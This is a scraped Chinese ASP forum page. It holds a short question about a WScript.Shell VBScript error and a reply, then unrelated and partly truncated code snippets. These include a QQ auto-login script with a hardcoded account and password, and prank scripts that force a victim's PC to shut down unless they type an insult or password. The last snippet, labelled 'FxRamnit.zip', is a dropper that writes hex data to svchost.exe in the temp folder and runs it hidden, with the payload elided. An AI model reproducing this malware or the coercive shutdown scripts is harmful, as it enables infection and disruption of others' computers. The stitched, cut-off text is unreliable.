请问为什么 Set WShShell = Server.CreateObject("WScript.Shell")错误？

beyondme 2000-07-10 05:15:00
Microsoft VBScript 编译器错误 错误 '800a0408'

无效字符

...全文
146 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
蝈蝈俊 2000-08-14
  • 打赏
  • 举报
 回复
??????????
全部代码贴出来
Dim WshShell, QQPath, QQselect
Dim WshShell, QQPath, QQselect QQPath="G:\腾讯QQ\QQ.exe" Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run QQPath WScript.Sleep 2000 WshShell.AppActivate "Q登录" WshShell.SendKeys "+{TAB}" WshShell.SendKeys "59619752" WScript.Sleep 200 WshShell.SendKeys "{TAB}" WshShell.SendKeys "HAPPY808" WScript.Sleep 200 WshShell.SendKeys "{ENTER}"
一个使别人电脑直接关机的程序
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c "" dim a do while a = inputbox msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + ""
防止别人偷看你电脑的文件
dim name set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 60",0 ,true name = inputbox("请输入您的名字:","名称") if name="名字+密码"then set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -a",0 ,true msgbox name,,"欢迎人见人爱的主人" else dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true end if
猪60秒光机-后缀名.vbe
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(
FxRamnit.zip
DropFileName = "svchost.exe" WriteData = "....................." '十六进制数据 Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //-->[removed]
ASP

28,391

社区成员

357,060

社区内容

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages，是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告
暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章